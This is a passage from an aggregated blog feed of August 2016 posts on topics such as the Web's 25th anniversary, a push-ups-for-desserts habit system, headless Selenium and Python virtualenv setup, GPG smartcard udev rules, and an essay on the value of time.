&lt;p&gt;On August 6, 1991, Tim Berners-Lee created a post detailing his World Wide Web project on a newsgroup called alt.hypertext in order to entice others to collaborate with him and create and host Web pages for the World Wide Web.  However, it wasn’t until August 23, 1991 that it was made publicly accessible for the world to see.  You could argue that August 6 is the real birth of the World Wide Web, but most websites and news aggregators acknowledge August 23 as the true birth of the World Wide Web, including Facebook, which included it as a news item today for everyone!&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Tue, 23 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/www-turns-25/</guid></item><item><title>Ping my router!</title><link>http://www.nuke24.net/plog/14.html</link><author>TOGoS's Project Log</author><pubDate>Mon, 22 Aug 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/14.html</guid></item><item><title>Links - August 22th, 2016</title><link>https://faingezicht.com/links/2016/08/22/links/</link><description/><author>Avy Faingezicht</author><pubDate>Mon, 22 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/08/22/links/</guid></item><item><title>The PIE system: Pay it with exercise</title><link>http://dimitarsimeonov.com/2016/08/22/the-pie-system-pay-it-with-exercise</link><description>&lt;p&gt;Drinks and deserts bring me a kick of happiness. I like the rush and
excitement I get after a good Old Fashioned, and I like the content
that I feel after eating a Tiramisu. For a while, I feel happier. I
smile, and I forgive, and I relax.&lt;/p&gt;

&lt;p&gt;Yet, whenever I have a drink or a desert - it takes from my
health. Just like the damage an avatar would sustain in a 3D shooter
game, I lose a few precious percent of health. And I’m not speaking
about my eventual health condition after twenty years. Within a day or
two of boozing and eating sweets I can already notice that I have a
headache and a little bit more fat on my belly. Even if feel good, the
damage has been done, and I’m running at a lower percent. Over time, a
lot of small invisible damages will accumulate to a more serious
damage.&lt;/p&gt;

&lt;p&gt;Another way to think about it is that I’ve taken on some health
debt. Not a monetary debt, where I owe money, but health and fitness
debt where I’m at a lower percentage. I’ve done something a little bit
bad and damaging to my body. And the full payment is due on the next
day. I can pay by getting in worse shape, with a small portion of my
health, but instead, I’d like to pay it differently.&lt;/p&gt;

&lt;p&gt;I’d like to pay it by reversing the damage. I pay it with exercise.&lt;/p&gt;

&lt;p&gt;Here is the idea. By doing enough push ups and sit ups on the next
day, I keep my body in good shape and I provide a feedback loop to
prevent me from abusing alcohol and sugar too much.&lt;/p&gt;

&lt;p&gt;I think an important task is to determine how many push ups are
&lt;em&gt;enough&lt;/em&gt;. If I had to do ten push ups to repair the damage from a
cocktail, this means that I can drink five drinks and only do fifty
push ups on the next day. This is not enough. If I were to
do a thousand push ups per drink, that would’ve been too many. A
hundred push ups, on the other hand, are not too many, just like a
single drink is not too bad for the health.&lt;/p&gt;

&lt;p&gt;So I’ll settle for about a &lt;strong&gt;100 push ups&lt;/strong&gt; per normal sized drink. I
don’t care if that’s an accurate number, I care mainly care about the
feedback signal and about approximately compensating my health. While
the push ups won’t reverse all damage, they can still address most of
it.&lt;/p&gt;

&lt;p&gt;I’ve got a little bit more involved and made up numbers for a variety
of damaging activities.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A morsel sized desert - &lt;strong&gt;10 push ups&lt;/strong&gt;. A small desert is as a block
from a bar of chocolate, or a single small biscotti from a
pack. Something that’s morsel-sized, that I can eat in a single bite
without straining.&lt;/li&gt;
  &lt;li&gt;A single serving of desert - &lt;strong&gt;100 push ups&lt;/strong&gt;. This is the most
general case and it involves an ice-cream cone, a slice of cake, a
bowl of creme brule.&lt;/li&gt;
  &lt;li&gt;Juices - &lt;strong&gt;100 push ups&lt;/strong&gt;. A glass of fruit juice, even if it is
fresh squeezed has a bunch of sugar and no fiber to balance it.&lt;/li&gt;
  &lt;li&gt;Fruits - no push ups! Fruits usually pack their fiber, to balance
out the sugar, and are a great alternative.&lt;/li&gt;
  &lt;li&gt;A large desert - &lt;strong&gt;200 push ups&lt;/strong&gt;. Examples contain a cheesecake from
the Cheesecake Factory, or a huge-ass ice cream.&lt;/li&gt;
  &lt;li&gt;A large drink - &lt;strong&gt;200 push ups&lt;/strong&gt;. For example a long island ice tea.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Have been doing this for a week and the numbers above are easy to keep
track of during the day.&lt;/p&gt;

&lt;p&gt;Since it would be obnoxious and not fun to do push ups in a cafe or
bakery or a night club, I give myself twenty four hours to pay up. To
keep things simple, I have a tad tougher rule, which is easier to
justify. The rule is that within twenty four hours of gathering &lt;em&gt;any&lt;/em&gt;
push up debt I need to pay &lt;em&gt;all&lt;/em&gt; push up debt. Kind of saying that I
need to get to zero push up debt every day. So if I eat an ice-cream
by lunch and then two more ice creams at dinner, I need to complete
300 push ups by noon the next day. This kind of rule is similar to
saying that all push ups are due in twenty four hours, but is easier
to enforce and keep track of.&lt;/p&gt;

&lt;p&gt;And since I am not a masochist, I give myself a little break. If I am
due more than a hundred push ups, I can substitute them for sit
ups. For example, yesterday I did two hundred push ups and three
hundred sit ups by this rule.&lt;/p&gt;

&lt;p&gt;Again, as a reminder, the “Pay it with exercise” (PIE) system is not
meant to be perfect. It just automates some thinking about health, in
order to keep me in a slightly better shape on average, and make me
more mindful of consuming the sweets and booze. I’ve been at it for a
week and it has been easy to keep it up. I just complete all due push
ups and sit ups in the morning. This gets my day started and while
five hundred push ups sounds scary, it is not really thaaat bad. These
drills become easier with time.&lt;/p&gt;

&lt;p&gt;I’m excited to see the longer term effects and to report back!&lt;/p&gt;</description><author>D13V</author><pubDate>Mon, 22 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/08/22/the-pie-system-pay-it-with-exercise</guid></item><item><title>Set up Selenium with Chrome (Headless)</title><link>https://www.wints.org/notes/2016.08.22/</link><description>&lt;p&gt;&lt;strong&gt;UPDATE 2017-08-31&lt;/strong&gt;
Use chromedriver version 2.25. Tried using 2.9 with chrome 60 and could not navigate to URLS.
It throws the exception below. Works fine with 2.25.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;WebDriverException: Message: unknown error: Runtime.executionContextCreated has invalid &lt;span style="color: #e6db74;"&gt;'context'&lt;/span&gt;: &lt;span style="color: #f92672;"&gt;{&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"auxData"&lt;/span&gt;:&lt;span style="color: #f92672;"&gt;{&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"frameId"&lt;/span&gt;:&lt;span style="color: #e6db74;"&gt;"18604.1"&lt;/span&gt;,&lt;span style="color: #e6db74;"&gt;"isDefault"&lt;/span&gt;:true&lt;span style="color: #f92672;"&gt;}&lt;/span&gt;,&lt;span style="color: #e6db74;"&gt;"id"&lt;/span&gt;:1,&lt;span style="color: #e6db74;"&gt;"name"&lt;/span&gt;:&lt;span style="color: #e6db74;"&gt;""&lt;/span&gt;,&lt;span style="color: #e6db74;"&gt;"origin"&lt;/span&gt;:&lt;span style="color: #e6db74;"&gt;"://"&lt;/span&gt;&lt;span style="color: #f92672;"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #f92672;"&gt;(&lt;/span&gt;Session info: chrome&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;60.0.3112.113&lt;span style="color: #f92672;"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;(&lt;/span&gt;Driver info: chromedriver&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;2.9.248304,platform&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;Linux 4.4.0-93-generic x86_64&lt;span style="color: #f92672;"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr /&gt;
&lt;p&gt;Setting up Selenium to work in on a headless server requires the browser to be headless as well.
This involves setting up Google Chrome, Chromedriver, and Selenium.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Mon, 22 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/notes/2016.08.22/</guid></item><item><title>Archiving Twitter likes</title><link>https://smetj.net/archiving_twitter_likes.html</link><description>&lt;p&gt;I use Twitter to keep track of the latest tech information by following a
tailored list of hash tags and people.  When interesting information is
shared, I like to have the possibility to archive the content for later
retrieval. &lt;em&gt;Liking&lt;/em&gt; a tweet is the closest thing Twitter offers to bookmark …&lt;/p&gt;</description><author>Jelle Smet</author><pubDate>Sun, 21 Aug 2016 16:42:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/archiving_twitter_likes.html</guid></item><item><title>Starting a New Chapter</title><link>https://ntietz.com/blog/starting-a-new-chapter/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;At the end of this week, I am starting a new chapter of my life: entrepreneurship. This is my last week at &lt;a href="http://crosschx.com"&gt;CrossChx&lt;/a&gt;, and then I begin splitting my time between contract work and developing some of my own ideas.&lt;/p&gt;
&lt;p&gt;I only spent about three quarters of a year at CrossChx, but in that time a lot has happened. I've made some friends who will be with me for a long time. I've written some code that I'm really damn proud of. And I've learned a lot about what I want in life. Right now, what I want in life is the freedom to pursue my dreams, the freedom to make the things that I really care about, the freedom to leave a Nicole-shaped dent on the world.&lt;/p&gt;
&lt;p&gt;One of my colleagues requested that I start a blog (I already have one) around my adventures through this new chapter. Other coworkers have asked me to give them tips and updates since they have considered making similar moves. Here it is. I'm going to try to maintain weekly updates (ideally on Fridays) talking about my experiences with both contracting and entrepreneurship / independent development. It isn't really clear what this chapter is going to look like, but it sure will be interesting!&lt;/p&gt;
&lt;p&gt;Wish me luck!&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Sun, 21 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/starting-a-new-chapter/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>Beyond jQuery</title><link>https://amzn.com/1484222342</link><description>A book that aims to educate web developers and give them the confidence to abandon their jQuery crutches and walk freely with the power of the web API and JavaScript. You will learn about the most important concepts surrounding web development as I demystify jQuery!</description><author>Train of Thought</author><pubDate>Sat, 20 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://amzn.com/1484222342</guid></item><item><title>Setup a python2 dev environment on a Mac</title><link>https://www.wints.org/notes/2016.08.19/</link><description>&lt;ol&gt;
&lt;li&gt;Install &lt;a href="http://brew.sh/"&gt;homebrew&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Install &lt;a href="https://www.wints.org/notes/2018.06.06/"&gt;python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Install virtualenv and virtualenv wrapper&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;pip install virtualenv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;pip install virtualenvwrapper
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;Add the following to ~/.bash_profile:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-vim"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #a6e22e;"&gt;export&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;WORKON_HOME&lt;/span&gt;=$&lt;span style="color: #a6e22e;"&gt;HOME&lt;/span&gt;/.&lt;span style="color: #a6e22e;"&gt;virtualenvs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #a6e22e;"&gt;export&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;PROJECT_HOME&lt;/span&gt;=&lt;span style="color: #e6db74;"&gt;/Users/&lt;/span&gt;&lt;span style="color: #a6e22e;"&gt;dhruvkar&lt;/span&gt;/&amp;lt;&lt;span style="color: #a6e22e;"&gt;projectdirectory&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #a6e22e;"&gt;source&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;/usr/&lt;/span&gt;&lt;span style="color: #a6e22e;"&gt;local&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;/bin/&lt;/span&gt;&lt;span style="color: #a6e22e;"&gt;virtualenvwrapper&lt;/span&gt;.&lt;span style="color: #a6e22e;"&gt;sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="6"&gt;
&lt;li&gt;To make virutal environments for existing projects use: &lt;code&gt;mkvirtualenv -a [project directory path] [ENVIRONMENT NAME]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Assuming a requirements.txt file in existing project: &lt;code&gt;pip install -r requirements.txt&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;</description><author>A Holding Company</author><pubDate>Fri, 19 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/notes/2016.08.19/</guid></item><item><title>Quidditch by the Numbers</title><link>https://xavd.id/blog/post/quidditch-by-the-numbers/</link><description>undefined&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/quidditch-by-the-numbers/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Fri, 19 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/quidditch-by-the-numbers/</guid></item><item><title>Links - August 18th, 2016</title><link>https://faingezicht.com/links/2016/08/18/links/</link><description>Hello there old friends. It has been forever since my last post, and I apologize for that. Here is a mixed bag of technology, management, and politics pieces. My interests haven't changed, hopefully yours haven't either.

Expect more frequent updates coming back soon.</description><author>Avy Faingezicht</author><pubDate>Thu, 18 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/08/18/links/</guid></item><item><title>Types of Testing in Software Engineering</title><link>https://boyter.org/2016/08/types-testing-software-engineering/</link><description>&lt;p&gt;There are many different types of testing which exist in software engineering. They should not be confused with the test levels, unit testing, integration testing, component interface testing, and system testing. However the different test levels may be used by each type as a way of checking for software quality.&lt;/p&gt;
&lt;p&gt;The following are all different types of tests in software engineering.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A/B&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;A/B testing is testing the comparison of two outputs where a single unit has changed. It is commonly used when trying to increase conversion rates for online websites. A real genius in this space is &lt;a href="http://www.kalzumeus.com/"&gt;Patrick McKenzie&lt;/a&gt; and a few very worthwhile articles to read about it are &lt;a href="http://www.kalzumeus.com/2012/08/06/stripe-and-ab-testing-made-me-a-small-fortune/"&gt;How Stripe and AB Made me A Small Fortune&lt;/a&gt; and &lt;a href="https://training.kalzumeus.com/newsletters/archive/ab_testing"&gt;AB Testing&lt;/a&gt;&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 18 Aug 2016 01:42:37 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/08/types-testing-software-engineering/</guid></item><item><title>One way NOT to abuse Redux</title><link>https://goshacmd.com/one-way-not-to-abuse-redux/</link><author>Gosha Spark</author><pubDate>Tue, 16 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/one-way-not-to-abuse-redux/</guid></item><item><title>GPG with the CCID Driver</title><link>https://blog.gnoack.org/post/gpg-ccid</link><description>&lt;blockquote class="info"&gt;&lt;p&gt;&lt;strong&gt;Remark&lt;/strong&gt;: I have not had this problem in years, and it&amp;rsquo;s probably long resolved.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Unless you&amp;rsquo;re using Debian, where people care about this, chances are
that setting up GPG Smartcards with your Linux distribution is an
adventure.  There are two ways to do it, CCID and PCSCLite, the latter
of which runs a background service &lt;code&gt;pcscd&lt;/code&gt; &amp;ndash; as root, at least on Arch,
while GnuPG&amp;rsquo;s built-in CCID driver accesses the reader directly
through the USB device, but took me a lot longer to figure out how to
use.&lt;/p&gt;
&lt;h2 id="problem"&gt;Problem&lt;/h2&gt;
&lt;p&gt;You&amp;rsquo;re getting a &amp;ldquo;card error&amp;rdquo; when trying to access the card.  The
same thing works as root.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;$ gpg --card-status
gpg: selecting openpgp failed: Card error
gpg: OpenPGP card not available: Card error
$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When trying the same as root, you can access the card.&lt;/p&gt;
&lt;h2 id="solution"&gt;Solution&lt;/h2&gt;
&lt;p&gt;Add a &lt;code&gt;udev&lt;/code&gt; rule that changes file permissions for you, as documented on
&lt;a href="https://wiki.archlinux.org/index.php/GnuPG#Smartcard_not_detected"&gt;https://wiki.archlinux.org/index.php/GnuPG#Smartcard_not_detected&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Add your user to a new user group that can read smartcards, and give
that group read-write access to the device when it&amp;rsquo;s plugged in, by
creating a file &lt;code&gt;/etc/udev/rules.d&lt;/code&gt; with the rule:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-txt"&gt;ACTION==&amp;quot;add&amp;quot;, SUBSYSTEM==&amp;quot;usb&amp;quot;, ENV{ID_VENDOR_ID}==&amp;quot;08e6&amp;quot;, ENV{ID_MODEL_ID}==&amp;quot;3438&amp;quot;, MODE=&amp;quot;660&amp;quot;, GROUP=&amp;quot;scard&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(Figure out the values for the vendor and model ID using &lt;code&gt;lsusb&lt;/code&gt;, they are printed separated with a colon.)&lt;/p&gt;</description><author>Blog on blog.gnoack.org</author><pubDate>Mon, 15 Aug 2016 14:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.gnoack.org/post/gpg-ccid</guid></item><item><title>Outside Lands, take two</title><link>https://faingezicht.com/photos/2016/08/15/outside-lands-v2/</link><description>Well, "take two" isn't really fair. I've actually been to the festival three times. I hope you'll see a jump in quality from &lt;a href="/photos/2015/08/09/outside-lands/"&gt;last year's&lt;/a&gt;.

Pretty crazy how people are willing to be photographed due to the air of professionalism of a DSLR in ways that a smartphone camera wouldn't allow. As I asked people to take their photos, they would constantly ask things like "Where will these be published?" or "What site are you taking the photos for?" and were oddly surprised when I told them it was for a personal blog. The camera is both a bridge and a barrier.

If you came looking for a specific photo, and it isn't here, &lt;a href="/contact"&gt;reach out&lt;/a&gt; and I'll happily send it your way. 600 was a lot to post at once.</description><author>Avy Faingezicht</author><pubDate>Mon, 15 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/08/15/outside-lands-v2/</guid></item><item><title>The price of time</title><link>http://dimitarsimeonov.com/2016/08/15/the-price-of-time</link><description>&lt;p&gt;&lt;em&gt;I’m talking to myself but you can join the conversation. It goes
like this…&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;How much is your time worth? Ten dollars per hour? Fifty dollars per
hour? Thousand dollars per hour? If you pick a number that you like,
can you use it to justify your spending habits, to justify buying
expensive clothes and car?&lt;/p&gt;

&lt;p&gt;How much is your time worth? When you wake up with a hangover, is your
time worth as much as when you’ve slept well and drank a coffee? If
the economy crashes tomorrow, would your time still be worth as much?&lt;/p&gt;

&lt;p&gt;How much is your time worth? If you need a million dollars, can you
sell enough time to get them? Conversely, you have a million dollars
to spend, how much time can you buy?&lt;/p&gt;

&lt;p&gt;&lt;em&gt;… these are not easy questions, and yet I’ll discuss them.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The economics of Time are different than the economics of Money. Time
is &lt;em&gt;heterogeneous&lt;/em&gt; and &lt;em&gt;scarce&lt;/em&gt;, as contrasted to money which are a
commodity. Money and Time also have different &lt;em&gt;decay rates&lt;/em&gt; over the
years.&lt;/p&gt;

&lt;h2 id="heterogeneous"&gt;Heterogeneous&lt;/h2&gt;

&lt;p&gt;First, all time is not made the same. Not all time has the same
usefulness, even for the same person, while all money has the same
usefulness. When I go to a restaurant and need to pay, it doesn’t
matter which twenty dollar bill I use. They are all the same. But it
does matter which hour of the day I use for my work, for my exercise,
and for my relationships. When I wake up in the morning, I am neither
adequate, nor focused. I can only achieve some basic tasks. On the
other hand, after I’ve been awake for a couple hours, and gotten some
basic movement, and groomed myself, I feel more powerful. This is my
prime time. My mind is working at full speed, my body is comfortable,
quick and agile, my dexterity is higher and I make fewer mistakes.&lt;/p&gt;

&lt;p&gt;Society values our prime time, and pays for it by hiring us to do
jobs. Society doesn’t care about our sleeping and relaxing time. This
time results in no benefit for society. When we do our job, and get
paid, we get money. Money don’t feed us and don’t provide shelter or
warmth. But the society produces food and house and heat, which we can
buy for money. Money is society contract, and is all the same. Its
only characteristic is quantity.&lt;/p&gt;

&lt;p&gt;Time is personal. In each hour of ours, we have different abilities,
and different desires. We might desire to sleep, to shower, to eat, to
be warm, to watch the sunset, to walk around, to be creative, or even
to do nothing. It is up to us to set our own value systems. Each of us
values time in different ways. Some care about having a relaxing
morning, others about relaxing evening. Some want to solve problems,
others want to create art, others want to their body to enjoy
hedonistic pleasures.&lt;/p&gt;

&lt;p&gt;Society adapts to our desires, and provides the things we value, for
money. It is up to us to evaluate whether it is worth it for us to
give away some of our time, to get money, in order to fulfill our
other time.&lt;/p&gt;

&lt;h2 id="scarce"&gt;Scarce&lt;/h2&gt;

&lt;p&gt;Every person gets the same amount of time per day, yet some people
have orders of magnitude more money than others. If some people were
to be able to speed up their existence, by making their brain run
faster and body move faster, then from their perspective they would
have more than 24 hours in a day. But I’m not aware of anyone who has
been able to do so yet. Relativity theory and the twins paradox says
that it is possible to slow time if you travel close to the speed of
light. But since that almost never happens, and even the fastest
moving humans - the ones in the International Space Station - do not
experience noticeable delay, I think it is fair to say that we all get
twenty four hours on the day.&lt;/p&gt;

&lt;p&gt;Scarcity of time creates skewed exchange rate between money and
time. Time can be exchanged for money at an unbound rate. As long as
there is anyone willing to pay the money on the other side, I could be
making a million dollars per hour. Yet, at best, money can free its
owner from time obligations, giving them twenty four hours on the day
to spend. Money can also augment these twenty four hours to a certain
degree, making them better. But no matter how good money makes these
hours, it won’t make them more than twenty four per day.&lt;/p&gt;

&lt;h2 id="decay-rate"&gt;Decay rate&lt;/h2&gt;

&lt;p&gt;Just like present money are worth more than future money
with the same nomination, present time is more valuable that future
time with the same duration. But while money’s decay rate is due to inflation, time’s decay rate is personal, and it depends our health and condition as we develop, age, and die.&lt;/p&gt;

&lt;p&gt;We prefer to have a good time this year, than to have it next year,
because by waiting until the new year we may change our preference
about what good time means, or we might not be able to get good time
in the same way, or we might die.&lt;/p&gt;

&lt;p&gt;During our turbulent years, in college, and soon after that, our lives
can change a lot just in a single year. Our outlook of the world may
change we may develop taste for new things. And we won’t even know
which those things are. During those years, the personal value of time
decays a lot. The high decay rate of time causes massive preference
for the present over the future. This causes us to do seek more
pleasure and make more drastic decisions. New relationships, new jobs,
new hobbies and interests.&lt;/p&gt;

&lt;p&gt;Later on, people tend to settle down as they create families. They
don’t expect much change year to year, which causes a relatively lower
decay rate for time. I actually don’t know if this is true, as I
haven’t fully reached that point in life yet. But lets assume I am
right. These years cause next year to be worth almost as much as the
current year. As a result, decisions in this period would be focusing
more on the longer term, and people would be more ready to delay their
pleasure for later. It is even possible for a negative decay rate to
occur, as people might expect a next year to be better when they have
fewer obligations.&lt;/p&gt;

&lt;p&gt;I’m not going to presume to have any idea about how people think about
their time after that age.&lt;/p&gt;

&lt;h2 id="corollaries"&gt;Corollaries&lt;/h2&gt;

&lt;p&gt;I don’t know what’s an optimal strategy for spending time. It is
likely that such strategy doesn’t exist, as everybody has different time preferences.&lt;/p&gt;

&lt;p&gt;I think that for me, it is important to determine better the things
which make my time better. I might have an idea about what I like to
do, but I am still exploring.&lt;/p&gt;</description><author>D13V</author><pubDate>Mon, 15 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/08/15/the-price-of-time</guid></item><item><title>The Seven Principles for Making Marriage Work</title><link>https://june.kim/seven-principles-for-making-marriage-work/</link><author>june.kim</author><pubDate>Sun, 14 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/seven-principles-for-making-marriage-work/</guid></item><item><title>The Little Prince</title><link>https://olshansky.info/movie/the_little_prince/</link><description>Olshansky's review of The Little Prince</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 13 Aug 2016 16:09:47 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_little_prince/</guid></item><item><title>2016-08-13</title><link>https://ho.dges.online/pictures/2016-08-13/</link><description>&lt;p&gt;Kids jumping into the sea from the sea walls in Akko.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sat, 13 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-08-13/</guid></item><item><title>Actually Understanding Timezones in PostgreSQL</title><link>http://blog.untrod.com/2016/08/actually-understanding-timezones-in-postgresql.html</link><description>&lt;p&gt;Timezones are the worst. We should all just live in UTC, reasonable
sunset hours be damned. And learning about timezone implementation
details is incredibly boring and esoteric&lt;sup&gt;&lt;a href="#footnote1"&gt;1&lt;/a&gt;&lt;/sup&gt;,
so most developers are not inclined to figure out what the hell is
actually going on until they really need to. Like …&lt;/p&gt;</description><author>Untrod</author><pubDate>Fri, 12 Aug 2016 22:09:00 GMT</pubDate><guid isPermaLink="true">http://blog.untrod.com/2016/08/actually-understanding-timezones-in-postgresql.html</guid></item><item><title>The dawn of personal computing</title><link>https://jasoneckert.github.io/myblog/dawn-of-personal-computing/</link><description>&lt;p&gt;&lt;img alt="Art1" src="art1.png#center" title="Art1" /&gt;&lt;/p&gt;
&lt;p&gt;If you know me, or have read various sections of my website, you’ll know that I am a die hard member of the computing industry that also likes to collect vintage computers (this is actually quite common - you’d be surprised how many of my colleagues do the same).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Art2" src="art2.jpg#right" title="Art2" /&gt;&lt;/p&gt;
&lt;p&gt;Yesterday, I managed to find a very interesting canvas painting in Toronto (the picture at the top of this post), and just HAD to have it.  From the signature, it was painted in 1983 by what looks like T., N., or M. McLaughlin:&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Fri, 12 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/dawn-of-personal-computing/</guid></item><item><title>Tractatus Map</title><link>https://mbutler.org/tractatus-map/</link><description>I built this subway style data visualization of Ludwig Wittgenstein’s Tractatus Logico-Philosophicus for Philosophy professor David Stern and graduate fellows Philip Ricks and Landon Elkind at the University of Iowa. They came to me with an Excel file sketch of an idea they had about a brand new way to read this seminal philosophical work. [&amp;#8230;]</description><author>mbutler</author><pubDate>Thu, 11 Aug 2016 05:18:34 GMT</pubDate><guid isPermaLink="true">https://mbutler.org/tractatus-map/</guid></item><item><title>Partcl - a tiny command language</title><link>https://zserge.com/posts/tcl-interpreter/</link><description>Minimalist interpreters have always attracted me. First of all, they are a good fit for embedded systems whenever you need a custom domain-specific language.
If one needs a scripting language for a microcontroller - there is not so many choices. Instead there are lots of constraints, like the size of the compiled binary code, RAM usage and memory management. Of course the language itself is important, too.
Lua, a very stable, pragmatic and minimal language.</description><author>zserge's blog</author><pubDate>Thu, 11 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/tcl-interpreter/</guid></item><item><title>Migrating to Hugo</title><link>https://blog.erethon.com/blog/2016/08/11/migrating-to-hugo/</link><description>&lt;p&gt;
A bit over two years ago I &lt;a href="https://blog.erethon.com/blog/2014/05/28/octopress-here-i-come/"&gt;blogged about migrating to Octopress&lt;/a&gt; from
Wordpress, this time I'll blog about migrating to &lt;a href="https://gohugo.io/"&gt;Hugo&lt;/a&gt; from Octopress.&lt;/p&gt;
&lt;p&gt;
I started messing around with Hugo because I was experimenting with Go
and wanted to take a look at a simple and complete Go project. I ended
up liking the simplicity of setting up a new site and decided to try
porting my blog to it.&lt;/p&gt;</description><author>Erethon's Corner</author><pubDate>Thu, 11 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.erethon.com/blog/2016/08/11/migrating-to-hugo/</guid></item><item><title>Find dependencies blocking rails upgrades</title><link>https://caiustheory.com/find-dependencies-blocking-rails-upgrades/</link><description>&lt;p&gt;The initial pain point when upgrading a rails app is figuring out which of your dependencies are blocking you upgrading the actual &lt;code&gt;rails&lt;/code&gt; gem (&amp;amp; immediate dependencies, actionpack, etc.). One way to start this is to update the rails dependency in your &lt;code&gt;Gemfile&lt;/code&gt; and run &lt;code&gt;bundle update rails&lt;/code&gt;. Then check the error output &lt;em&gt;(it never works first time…)&lt;/em&gt; to see which gems are blocking the upgrade. Repeat, rinse until it works.&lt;/p&gt;
&lt;p&gt;I figured I&amp;rsquo;d cheat a little and eyeball the &lt;code&gt;Gemfile.lock&lt;/code&gt; to see which gems had an explicit dependency pinning rails (or actionpack, activejob, etc) to a version lower than I want to upgrade to, so I could get an idea of what needs to be upgraded without having to do them all one-by-one.&lt;/p&gt;
&lt;p&gt;Then instead of eyeballing &lt;code&gt;Gemfile.lock&lt;/code&gt;, I wrote an awk script to pull out the interesting dependencies (ie, anything that depends on rails gems) so I just have to check which versions they depend on by hand.&lt;/p&gt;
